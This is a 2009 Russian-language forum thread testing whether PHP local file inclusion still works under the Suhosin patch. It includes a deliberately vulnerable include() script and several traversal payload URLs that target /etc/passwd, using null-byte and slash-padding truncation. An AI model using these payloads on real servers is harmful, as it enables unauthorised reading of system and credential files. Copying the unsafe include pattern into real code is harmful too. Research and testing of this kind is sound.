null byte в PHP c последними версиями Suhosin-Patch

Discussion in 'Уязвимости' started by (Dm), 22 Nov 2009.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28

    suhosin - advanced protection module for php5
    В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)

    Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (

    Скрипт (обычный LFI):
    PHP:
    <pre>
    <?php
    if (isset($_GET['p'])) {
        echo 
    "PATH: ".$_GET['p']."\n";
        include(
    "./".$_GET['p'].".txt");
    } else {
        echo 
    "Переменная не определена\r\n";
    }
    ?>
    </pre>
    Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.

    1. test.php?p=../../../../../../../etc/passwd

    Результат:

    2. test.php?p=../../../../../../../etc/passwd%00

    Результат:

    3. test.php?p=../../../../../../../etc/passwd//////[4096]/////


    Результат:

    4. test.php?p=../../../../../../../etc/passwd//////[1024]/////


    Результат:

    5. test.php?p=../../../../../../../etc/passwd//////[512]/////


    Результат:
    Если объявить переменную:
    PS если что-то не так поправьте
     
    #1 (Dm), 22 Nov 2009
    Last edited: 22 Nov 2009
    5 people like this.
  2. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Хмм, на PHP 5.2.9 еще все работало.

    Обновлю, гляну.
     
  3. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Хм, проверил на версии PHP Version 5.2.11 (CentOS) без Suhosin от Oct 7 2009 08:33:09, там работает.
    А у меня PHP 5.2.10-2ubuntu6.1 с Suhosin от Oct 29 2009 19:02:41 не пашет.

    Разобрался! Обновил пост.
     
    #3 (Dm), 22 Nov 2009
    Last edited: 22 Nov 2009
    2 people like this.
  4. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    .
    Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.
     
  5. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET
     
    1 person likes this.
  6. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Мы непоняли друг друга паш :(
     
  7. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Все верно,значит я с чем-то спутал.
     
  8. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Cам проверь и тогда поймешь что где обрезается =)
    Постить на догадках - бред, да мало-ли что может быть.
    Так что меньше пустословия, больше фактов... за тобой я это давно уже заметил.
     
    #8 (Dm), 23 Nov 2009
    Last edited: 23 Nov 2009